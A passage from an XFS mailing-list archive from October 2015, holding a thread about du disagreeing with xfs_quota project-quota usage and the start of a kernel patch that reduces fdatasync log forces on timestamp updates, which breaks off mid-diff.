ZWFkIG92ZXIgdG8gaHR0cDovL3d3dy5DQWNlcnQub3JnMA4GA1UdDwEB/wQEAwIDqDBABgNV HSUEOTA3BggrBgEFBQcDBAYIKwYBBQUHAwIGCisGAQQBgjcKAwQGCisGAQQBgjcKAwMGCWCG SAGG+EIEATAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAGGFmh0dHA6Ly9vY3NwLmNhY2Vy dC5vcmcwMQYDVR0fBCowKDAmoCSgIoYgaHR0cDovL2NybC5jYWNlcnQub3JnL3Jldm9rZS5j cmwwNAYDVR0RBC0wK4EUYWhmZXJyb2luN0BnbWFpbC5jb22BE2FoZW1tZWxnQG9oaW9ndC5j b20wDQYJKoZIhvcNAQENBQADggIBADMnxtSLiIunh/TQcjnRdf63yf2D8jMtYUm4yDoCF++J jCXbPQBGrpCEHztlNSGIkF3PH7ohKZvlqF4XePWxpY9dkr/pNyCF1PRkwxUURqvuHXbu8Lwn 8D3U2HeOEU3KmrfEo65DcbanJCMTTW7+mU9lZICPP7ZA9/zB+L0Gm1UNFZ6AU50N/86vjQfY WgkCd6dZD4rQ5y8L+d/lRbJW7ZGEQw1bSFVTRpkxxDTOwXH4/GpQfnfqTAtQuJ1CsKT12e+H NSD/RUWGTr289dA3P4nunBlz7qfvKamxPymHeBEUcuICKkL9/OZrnuYnGROFwcdvfjGE5iLB kjp/ttrY4aaVW5EsLASNgiRmA6mbgEAMlw3RwVx0sVelbiIAJg9Twzk4Ct6U9uBKiJ8S0sS2 8RCSyTmCRhJs0vvva5W9QUFGmp5kyFQEoSfBRJlbZfGX2ehI2Hi3U2/PMUm2ONuQG1E+a0AP u7I0NJc/Xil7rqR0gdbfkbWp0a+8dAvaM6J00aIcNo+HkcQkUgtfrw+C2Oyl3q8IjivGXZqT 5UdGUb2KujLjqjG91Dun3/RJ/qgQlotH7WkVBs7YJVTCxfkdN36rToPcnMYOI30FWa0Q06gn F6gUv9/mo6riv3A5bem/BdbgaJoPnWQD9D8wSyci9G4LKC+HQAMdLmGoeZfpJzKHMYIE0TCC BM0CAQEwgYAweTEQMA4GA1UEChMHUm9vdCBDQTEeMBwGA1UECxMVaHR0cDovL3d3dy5jYWNl cnQub3JnMSIwIAYDVQQDExlDQSBDZXJ0IFNpZ25pbmcgQXV0aG9yaXR5MSEwHwYJKoZIhvcN AQkBFhJzdXBwb3J0QGNhY2VydC5vcmcCAxEt+DANBglghkgBZQMEAgMFAKCCAiEwGAYJKoZI hvcNAQkDMQsGCSqGSIb3DQEHATAcBgkqhkiG9w0BCQUxDxcNMTUxMDIwMTIzMzU0WjBPBgkq hkiG9w0BCQQxQgRAj1L+Syg4dbUYi2qcwmE+jNm5rTyYPrSY5Ob8jRK38O9LlayAfHOj9jb8 SEf1wFoaPsAGxvubcBrHDkkKizb5cjBsBgkqhkiG9w0BCQ8xXzBdMAsGCWCGSAFlAwQBKjAL BglghkgBZQMEAQIwCgYIKoZIhvcNAwcwDgYIKoZIhvcNAwICAgCAMA0GCCqGSIb3DQMCAgFA MAcGBSsOAwIHMA0GCCqGSIb3DQMCAgEoMIGRBgkrBgEEAYI3EAQxgYMwgYAweTEQMA4GA1UE ChMHUm9vdCBDQTEeMBwGA1UECxMVaHR0cDovL3d3dy5jYWNlcnQub3JnMSIwIAYDVQQDExlD QSBDZXJ0IFNpZ25pbmcgQXV0aG9yaXR5MSEwHwYJKoZIhvcNAQkBFhJzdXBwb3J0QGNhY2Vy dC5vcmcCAxEt+DCBkwYLKoZIhvcNAQkQAgsxgYOggYAweTEQMA4GA1UEChMHUm9vdCBDQTEe MBwGA1UECxMVaHR0cDovL3d3dy5jYWNlcnQub3JnMSIwIAYDVQQDExlDQSBDZXJ0IFNpZ25p bmcgQXV0aG9yaXR5MSEwHwYJKoZIhvcNAQkBFhJzdXBwb3J0QGNhY2VydC5vcmcCAxEt+DAN BgkqhkiG9w0BAQEFAASCAgCWWuFoUTqUSz3x3mcTcR+lwaVb2l1uaKJ+t2BrrztgX2LuV6bR W5Bu+AZ5fiuCz0DkRWPTLylUlHpRhcMxbWk+K1fdwIoQ4eahjhm7IGJxCgKtl5RXhV9wQC3Q Epb/iIZbbRVQE/BjZKayDRlJlQTUxVGm6rq8eK2xK93KLraCKpDkXm8bE2bjzq4pcj0l1+6g +EcnJXt+lTVlgdiUO8iEtXbsl+JNldmLY2PFSWvHWjZmk9Io6qIABx5usfQwro7/g9WZng7N WzsyAHDo4OM4+wjo7hKf6jlrCTAhq2TYqJ0xfbM4qh+2NX3IE5scQxX+Tawrq729onQ+6uN9 UvZOCljtOKWJPshwWQgWBnJk84ijIp55KYTyWwfdMFhzQxcU0MRh5gaKD8AhPAW/dY3yyhaT alt8FA1BkOLb1XwC1AfTZ9LSiK4aB2x9RNl1P671wl1e81zrzBXde04EsSs38hIZFbooxXc7 NANxTEmDhKX85MRll75lDLU7sQCajx8BtYEfbSvHwh6Fs2d6DuBamBcQbL9sEK8Vu29S7CYB No/SBmsFRim1bLpAhUIRNo/7FnYt112SVUIVp+vpnZpybjCpz4vproYMhMiJBeXYxSVPFjGd AKxZRXd2s2IMc5LukNGsVk0AyBn/jtY5Jg1l1YcUKoVY6W14hA2IxbbNHwAAAAAAAA== --------------ms040606010009020500030007-- From eyniy@qq.com Tue Oct 20 08:30:20 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,HTML_MESSAGE, T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id AAC6D7F6F for ; Tue, 20 Oct 2015 08:30:20 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 8BEA18F8035 for ; Tue, 20 Oct 2015 06:30:20 -0700 (PDT) X-ASG-Debug-ID: 1445347814-04cbb035aae52a0001-NocioJ Received: from smtpbg298.qq.com (smtpbg298.qq.com [184.105.67.102]) by cuda.sgi.com with ESMTP id 1MO5Hb28gXBm7kUf (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 20 Oct 2015 06:30:14 -0700 (PDT) X-Barracuda-Envelope-From: eyniy@qq.com X-Barracuda-Apparent-Source-IP: 184.105.67.102 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=qq.com; s=s201307; t=1445347812; bh=RF6accZ0R29eqt2N7i3cyNtsbAHDz+au69CfJkTLpb4=; h=In-Reply-To:References:From:To:Cc:Subject:Mime-Version:Content-Type:Content-Transfer-Encoding:Date:Message-ID; b=FP++JaAgQhp3Pqob27GsZaikLQjHd4cGYuQMmaZtU7A9N0ocxs2nIv+kqBKWyWoyh FZYB94FArRgUbkrbRfy1eiyTHJtS2k3qjAWudIAOBJnc9yMCjJuBJGYWqGGFab4vP2 yNflR0BOszlp4s+OTS+fHp8b3VfMDmDPU8wBBXcA= X-QQ-FEAT: X5ln/zQE7lfGH3Imq5uvwUhzWqG2Rr0r5kXpIgT/8u321vO72sf82Qbk4+mIz exO4uRR14h8e9ivvkveoILLxk6aOpO5dp78GEp9CP1yTUQiXZVIazyXzsBby4vgItATx1n+ L6zb19YmVEEKmguou2xjyUyR3h+yC2iOX8Qdk9qFWj2R5FczwKY4lpyMnz/1ebNRhmkm2M3 /DGL0TA90Gqomf9EYkGnIiSIIHcIlFU+TmpUZQ6W1/0dW1ieauxM/zn92H4g4dKE= X-QQ-SSF: 000000000000005000000000000000Z X-HAS-ATTACH: no X-QQ-BUSINESS-ORIGIN: 2 X-Originating-IP: 59.37.157.134 In-Reply-To: <20151020133129.4eeabf88@harpe.intellique.com> References: <20151020133129.4eeabf88@harpe.intellique.com> X-QQ-STYLE: X-QQ-mid: webmail661t1445347809t2076164 From: "=?ISO-8859-1?B?WWVZaW4=?=" To: "=?ISO-8859-1?B?RW1tYW51ZWwgRmxvcmFj?=" Cc: "=?ISO-8859-1?B?eGZz?=" Subject: Re: du result is smaller than xfs_quota report Mime-Version: 1.0 X-ASG-Orig-Subj: Re: du result is smaller than xfs_quota report Content-Type: multipart/alternative; boundary="----=_NextPart_562641E0_08C08148_2CEDF42F" Content-Transfer-Encoding: 8Bit Date: Tue, 20 Oct 2015 21:30:08 +0800 X-Priority: 3 Message-ID: X-QQ-MIME: TCMime 1.0 by Tencent X-Mailer: QQMail 2.x X-QQ-Mailer: QQMail 2.x X-QQ-ReplyHash: 1734450045 X-QQ-SENDSIZE: 520 X-QQ-FName: 5CC18894E55142218632344DC8CC0479 X-QQ-LocalIP: 127.0.0.1 X-Barracuda-Connect: smtpbg298.qq.com[184.105.67.102] X-Barracuda-Start-Time: 1445347814 X-Barracuda-Encrypted: DHE-RSA-AES256-SHA X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.06 X-Barracuda-Spam-Status: No, SCORE=1.06 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, DKIM_SIGNED, DKIM_VERIFIED, FROM_EXCESS_BASE64, FROM_EXCESS_BASE64_2, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23657 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message 0.01 FROM_EXCESS_BASE64 From: base64 encoded unnecessarily 1.05 FROM_EXCESS_BASE64_2 From: base64 encoded unnecessarily This is a multi-part message in MIME format. ------=_NextPart_562641E0_08C08148_2CEDF42F Content-Type: text/plain; charset="ISO-8859-1" Content-Transfer-Encoding: base64 PldoYXQgZG9lcyBzYXkNCj4NCj5scyAtbCAvZGF0YS9kb2NrZXItdm9sdW1lcy9kb2NrZXIt MTUwOTIzMTE1MjI0MDkNCj4NCj5pcyBpdCBjb2hlcmVudCB3aXRoIGR1LCBvciB4ZnNfcXVv dGE/DQoNCg0KL2RhdGEvZG9ja2VyLXZvbHVtZXMvZG9ja2VyLTE1MDkyMzExNTIyNDA5IGlz IGEgZGlyZWN0b3J5IHdoaWNoIGhhdmUgYSBsb3Qgb2Ygc3ViZGlyZWN0b3JpZXMsICBydW4g J2xzIC1sJyBpcyBtZWFuaW5nbGVzcy4gDQonbHMgLWwnIGFuZCAnZHUnIHVzZWQgIGZzdGF0 IG9yIGxzdGF0IHNpbWlsYXIgZnVuY3Rpb24gdG8gZ2V0IGZpbGUncyBzaXplLCBzbyBscyBz aG91bGQgYmUgY29oZXJlbnQgd2l0aCBkdS4NCg0KDQpUaGFua3MsDQpZZQ0KDQoNCg0KLS0t LS0tLS0tLS0tLS0tLS0tIE9yaWdpbmFsIC0tLS0tLS0tLS0tLS0tLS0tLQ0KRnJvbTogICJF bW1hbnVlbCBGbG9yYWMiOzxlZmxvcmFjQGludGVsbGlxdWUuY29tPjsNCkRhdGU6ICBUdWUs IE9jdCAyMCwgMjAxNSAwNzozMSBQTQ0KVG86ICAiWWVZaW4iPGV5bml5QHFxLmNvbT47IA0K Q2M6ICAieGZzIjx4ZnNAb3NzLnNnaS5jb20+OyANClN1YmplY3Q6ICBSZTogZHUgcmVzdWx0 IGlzIHNtYWxsZXIgdGhhbiB4ZnNfcXVvdGEgcmVwb3J0DQoNCg0KDQpMZSBUdWUsIDIwIE9j dCAyMDE1IDE3OjA5OjU4ICswODAwDQoiWWVZaW4iIDxleW5peUBxcS5jb20+IOljcml2YWl0 Og0KDQo+IEl0IHNlZW1zIHRoYXQgc29tZSBibG9ja3Mgb3duZWQgYnkgcHJvamVjdCB3YXNu J3QgYmUgZnJlZWQuIEFueW9uZQ0KPiBjYW4gZ2l2ZSBtZSBzb21lIHN1Z2dlc3Rpb25zIHRv IGZpbmQgdGhlIHJlYXNvbj8NCj4gDQoNCldoYXQgZG9lcyBzYXkNCg0KbHMgLWwgL2RhdGEv ZG9ja2VyLXZvbHVtZXMvZG9ja2VyLTE1MDkyMzExNTIyNDA5DQoNCmlzIGl0IGNvaGVyZW50 IHdpdGggZHUsIG9yIHhmc19xdW90YT8NCi0tIA0KLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpFbW1h bnVlbCBGbG9yYWMgICAgIHwgICBEaXJlY3Rpb24gdGVjaG5pcXVlDQogICAgICAgICAgICAg ICAgICAgIHwgICBJbnRlbGxpcXVlDQogICAgICAgICAgICAgICAgICAgIHwJPGVmbG9yYWNA aW50ZWxsaXF1ZS5jb20+DQogICAgICAgICAgICAgICAgICAgIHwgICArMzMgMSA3OCA5NCA4 NCAwMg0KLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t ------=_NextPart_562641E0_08C08148_2CEDF42F Content-Type: text/html; charset="ISO-8859-1" Content-Transfer-Encoding: base64 PGRpdj48c3BhbiBzdHlsZT0ibGluZS1oZWlnaHQ6IDEuNTsiPiZndDtXaGF0IGRvZXMgc2F5 PC9zcGFuPjwvZGl2PjxkaXY+PGRpdj48ZGl2PiZndDs8L2Rpdj48ZGl2PiZndDtscyAtbCAv ZGF0YS9kb2NrZXItdm9sdW1lcy9kb2NrZXItMTUwOTIzMTE1MjI0MDk8L2Rpdj48ZGl2PiZn dDs8L2Rpdj48ZGl2PiZndDtpcyBpdCBjb2hlcmVudCB3aXRoIGR1LCBvciB4ZnNfcXVvdGE/ PC9kaXY+PGRpdj48YnI+PC9kaXY+PGRpdj4vZGF0YS9kb2NrZXItdm9sdW1lcy9kb2NrZXIt MTUwOTIzMTE1MjI0MDkgaXMgYSBkaXJlY3Rvcnkgd2hpY2ggaGF2ZSBhIGxvdCBvZiBzdWJk aXJlY3RvcmllcywgJm5ic3A7cnVuICdscyAtbCcgaXMgbWVhbmluZ2xlc3MuJm5ic3A7PC9k aXY+PGRpdj4nbHMgLWwnIGFuZCAnZHUnIHVzZWQgJm5ic3A7ZnN0YXQgb3IgbHN0YXQgc2lt aWxhciBmdW5jdGlvbiB0byBnZXQgZmlsZSdzIHNpemUsIHNvIGxzIHNob3VsZCBiZSBjb2hl cmVudCB3aXRoIGR1LjwvZGl2PjxkaXY+PGJyPjwvZGl2PjxkaXY+VGhhbmtzLDwvZGl2Pjxk aXY+WWU8L2Rpdj48L2Rpdj48ZGl2Pjxicj48L2Rpdj48ZGl2IHN0eWxlPSJmb250LXNpemU6 IDEycHg7Zm9udC1mYW1pbHk6IEFyaWFsIE5hcnJvdztwYWRkaW5nOjJweCAwIDJweCAwOyI+ LS0tLS0tLS0tLS0tLS0tLS0tJm5ic3A7T3JpZ2luYWwmbmJzcDstLS0tLS0tLS0tLS0tLS0t LS08L2Rpdj48ZGl2IHN0eWxlPSJmb250LXNpemU6IDEycHg7YmFja2dyb3VuZDojZWZlZmVm O3BhZGRpbmc6OHB4OyI+PGRpdj48Yj5Gcm9tOiA8L2I+Jm5ic3A7IkVtbWFudWVsIEZsb3Jh YyI7Jmx0O2VmbG9yYWNAaW50ZWxsaXF1ZS5jb20mZ3Q7OzwvZGl2PjxkaXY+PGI+RGF0ZTog PC9iPiZuYnNwO1R1ZSwgT2N0IDIwLCAyMDE1IDA3OjMxIFBNPC9kaXY+PGRpdj48Yj5Ubzog PC9iPiZuYnNwOyJZZVlpbiImbHQ7ZXluaXlAcXEuY29tJmd0OzsgPHdicj48L2Rpdj48ZGl2 PjxiPkNjOiA8L2I+Jm5ic3A7InhmcyImbHQ7eGZzQG9zcy5zZ2kuY29tJmd0OzsgPHdicj48 L2Rpdj48ZGl2PjxiPlN1YmplY3Q6IDwvYj4mbmJzcDtSZTogZHUgcmVzdWx0IGlzIHNtYWxs ZXIgdGhhbiB4ZnNfcXVvdGEgcmVwb3J0PC9kaXY+PC9kaXY+PGRpdj48YnI+PC9kaXY+TGUg VHVlLCAyMCBPY3QgMjAxNSAxNzowOTo1OCArMDgwMDxicj4iWWVZaW4iICZsdDtleW5peUBx cS5jb20mZ3Q7IOljcml2YWl0Ojxicj48YnI+Jmd0OyBJdCBzZWVtcyB0aGF0IHNvbWUgYmxv Y2tzIG93bmVkIGJ5IHByb2plY3Qgd2Fzbid0IGJlIGZyZWVkLiBBbnlvbmU8YnI+Jmd0OyBj YW4gZ2l2ZSBtZSBzb21lIHN1Z2dlc3Rpb25zIHRvIGZpbmQgdGhlIHJlYXNvbj88YnI+Jmd0 OyA8YnI+PGJyPldoYXQgZG9lcyBzYXk8YnI+PGJyPmxzIC1sIC9kYXRhL2RvY2tlci12b2x1 bWVzL2RvY2tlci0xNTA5MjMxMTUyMjQwOTxicj48YnI+aXMgaXQgY29oZXJlbnQgd2l0aCBk dSwgb3IgeGZzX3F1b3RhPzxicj4tLSA8YnI+LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tPGJyPkVtbWFu dWVsIEZsb3JhYyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyB8Jm5ic3A7Jm5ic3A7IERpcmVj dGlvbiB0ZWNobmlxdWU8YnI+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7IHwmbmJzcDsmbmJzcDsgSW50ZWxsaXF1ZTxicj4m bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsgfAkmbHQ7ZWZsb3JhY0BpbnRlbGxpcXVlLmNvbSZndDs8YnI+Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7IHwmbmJz cDsmbmJzcDsgKzMzIDEgNzggOTQgODQgMDI8YnI+LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tPC9kaXY+ ------=_NextPart_562641E0_08C08148_2CEDF42F-- From sandeen@sandeen.net Tue Oct 20 14:41:36 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=MIME_QP_LONG_LINE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id BE2A97CBF for ; Tue, 20 Oct 2015 14:41:36 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 9BA4B304059 for ; Tue, 20 Oct 2015 12:41:33 -0700 (PDT) X-ASG-Debug-ID: 1445370090-04cbb035ac102ee0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id D7SpAiocXjrDKlTB for ; Tue, 20 Oct 2015 12:41:30 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from [162.167.73.245] (unknown [172.56.39.84]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 6CCD86000432; Tue, 20 Oct 2015 14:41:30 -0500 (CDT) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable From: Eric Sandeen Mime-Version: 1.0 (1.0) Subject: Re: du result is smaller than xfs_quota report Date: Tue, 20 Oct 2015 14:35:39 -0500 X-ASG-Orig-Subj: Re: du result is smaller than xfs_quota report Message-Id: <0952A0E9-F360-46CE-BE7A-1B8473700F08@sandeen.net> References: Cc: xfs In-Reply-To: To: YeYin X-Mailer: iPhone Mail (13A452) X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1445370090 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.02 X-Barracuda-Spam-Status: No, SCORE=1.02 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC7_SA298e, MIME_QP_LONG_LINE, MIME_QP_LONG_LINE_2 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23667 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 MIME_QP_LONG_LINE RAW: Quoted-printable line longer than 76 chars 0.82 MIME_QP_LONG_LINE_2 RAW: Quoted-printable line longer than 76 chars 0.20 BSF_SC7_SA298e Custom Rule SA298e > On Oct 20, 2015, at 4:09 AM, YeYin wrote: >=20 > Hi, all, > I encountered some problems when I used XFS with project quota: >=20 > # cat /etc/projid=20 > docker-15091421396426:65061 > docker-15092311522409:26286 > docker-15101215637294:14162 >=20 > # cat /etc/projects=20 > 65061:/data/docker-volumes/docker-15091421396426 > 26286:/data/docker-volumes/docker-15092311522409 > 14162:/data/docker-volumes/docker-15101215637294 >=20 > # xfs_quota -xc 'report -h' /data =20 > Project quota on /data (/dev/sda4) > Blocks =20 > Project ID Used Soft Hard Warn/Grace =20 > ---------- ---------------------------------=20 > docker-15091421396426 1.0G 0 100G 00 [------] > docker-15092311522409 371.5G 0 700G 00 [------] > docker-15101215637294 920.8M 0 400G 00 [------] >=20 > # du -sh /data/docker-volumes/docker-15092311522409=20 > 200G /data/docker-volumes/docker-15092311522409 >=20 > As we can see, du's result(200G) is smaller than xfs_quota report. >=20 Is anything mounted under that directory hierarchy, and hiding files from du= 's view? Eric= From dave@fromorbit.com Tue Oct 20 21:59:26 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 4C5F47CBF for ; Tue, 20 Oct 2015 21:59:26 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 9E756AC002 for ; Tue, 20 Oct 2015 19:59:25 -0700 (PDT) X-ASG-Debug-ID: 1445396361-04cb6c3cee10d280001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id evcTIC0naVq2Bbb1 for ; Tue, 20 Oct 2015 19:59:21 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2AaCAAJ/yZWPGieLHldKAGDDYFDhlqiZQaQQI1mTQEBAQEBAQcBAQEBQT+EWy8REhgYagMHLYgvxC6GMIlthRoFliSOd40IhHaIS4ItAQuCQSo0hB6BSQEBAQ Received: from ppp121-44-158-104.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.104]) by ipmail06.adl6.internode.on.net with ESMTP; 21 Oct 2015 13:29:05 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1ZojcG-0005nf-0H; Wed, 21 Oct 2015 13:59:04 +1100 Received: from dave by disappointment with local (Exim 4.86) (envelope-from ) id 1ZojcF-000190-VN; Wed, 21 Oct 2015 13:59:03 +1100 From: Dave Chinner To: xfs@oss.sgi.com Cc: sage@redhat.com Subject: [PATCH] xfs: optimise away log forces on timestamp updates for fdatasync Date: Wed, 21 Oct 2015 13:59:03 +1100 X-ASG-Orig-Subj: [PATCH] xfs: optimise away log forces on timestamp updates for fdatasync Message-Id: <1445396343-4361-1-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 2.5.0 X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1445396361 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23676 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner xfs: timestamp updates cause excessive fdatasync log traffic Sage Weil reported that a ceph test workload was writing to the log on every fdatasync during an overwrite workload. Event tracing showed that the only metadata modification being made was the timestamp updates during the write(2) syscall, but fdatasync(2) is supposed to ignore them. The key observation was that the transactions in the log all looked like this: INODE: #regs: 4 ino: 0x8b flags: 0x45 dsize: 32 And contained a flags field of 0x45 or 0x85, and had data and attribute forks following the inode core. This means that the timestamp updates were triggering dirty relogging of previously logged parts of the inode that hadn't yet been flushed back to disk. There are two parts to this problem. The first is that XFS relogs dirty regions in subsequnet transactions, so it carries around the fields that have been dirtied since the last time the inode was written back to disk, not since the last time the inode was forced into the log. The second part is that on v5 filesystems, the inode change count update during inode dirtying also sets the XFS_ILOG_CORE flag, so on v5 filesystems this makes a timestamp update dirty the entire inode. As a result when fdatasync is run, it looks at the dirty fields in the inode, and sees more than just the timestamp flag, even though the only metadata change since the last fdatasync was just the timestamps. Hence we force the log on every subsequent fdatasync even though it is not needed. To fix this, add a new field to the inode log item that tracks changes since the last time fsync/fdatasync forced the log to flush the changes to the journal. This flag is updated when we dirty the inode, but we do it before updating the change count so it does not carry the "core dirty" flag from timestamp updates. The fields are zeroed when the inode is marked clean (due to writeback/freeing) or when an fsync/datasync forces the log. Hence if we only dirty the timestamps on the inode between fsync/fdatasync calls, the fdatasync will not trigger another log force. Over 100 runs of the test program: Ext4 baseline: runtime: 1.63s +/- 0.24s avg lat: 1.59ms +/- 0.24ms iops: ~2000 XFS, vanilla kernel: runtime: 2.45s +/- 0.18s avg lat: 2.39ms +/- 0.18ms log forces: ~400/s iops: ~1000 XFS, patched kernel: runtime: 1.49s +/- 0.26s avg lat: 1.46ms +/- 0.25ms log forces: ~30/s iops: ~1500 Reported-by: Sage Weil Signed-off-by: Dave Chinner --- fs/xfs/xfs_file.c | 4 +++- fs/xfs/xfs_inode.c | 2 ++ fs/xfs/xfs_inode_item.c | 1 + fs/xfs/xfs_inode_item.h | 1 + fs/xfs/xfs_trans_inode.c | 9 +++++++++ 5 files changed, 16 insertions(+), 1 deletion(-) diff --git a/fs/xfs/xfs_file.c b/fs/xfs/xfs_file.c index 0045b0a..cb4204d 100644 --- a/fs/xfs/xfs_file.c +++ b/fs/xfs/xfs_file.c @@ -248,8 +248,10 @@ xfs_file_fsync( xfs_ilock(ip, XFS_ILOCK_SHARED); if (xfs_ipincount(ip)) { if (!datasync || - (ip->i_itemp->ili_fields & ~XFS_ILOG_TIMESTAMP)) + (ip->i_itemp->ili_fsync_fields & ~XFS_ILOG_TIMESTAMP)) { lsn = ip->i_itemp->ili_last_lsn; + ip->i_itemp->ili_fsync_fields = 0; + } } xfs_iunlock(ip, XFS_ILOCK_SHARED); diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c index 4c52e3f..144baab 100644 --- a/fs/xfs/xfs_inode.c +++ b/fs/xfs/xfs_inode.c @@ -2379,6 +2379,7 @@ retry: iip->ili_last_fields = iip->ili_fields; iip->ili_fields = 0; + iip->ili_fsync_fields = 0; iip->ili_logged = 1; xfs_trans_ail_copy_lsn(mp->m_ail, &iip->ili_flush_lsn, &iip->ili_item.li_lsn); @@ -3574,6 +3575,7 @@ xfs_iflush_int( */ iip->ili_last_fields = iip->ili_fields; iip->ili_fields = 0; + iip->ili_fsync_fields = 0; iip->ili_logged = 1; xfs_trans_ail_copy_lsn(mp->m_ail, &iip->ili_flush_lsn, diff --git a/fs/xfs/xfs_inode_item.c b/fs/xfs/xfs_inode_item.c index 62bd80f..d14b12b 100644 --- a/fs/xfs/xfs_inode_item.c +++ b/fs/xfs/xfs_inode_item.c @@ -719,6 +719,7 @@ xfs_iflush_abort( * attempted. */ iip->ili_fields = 0; + 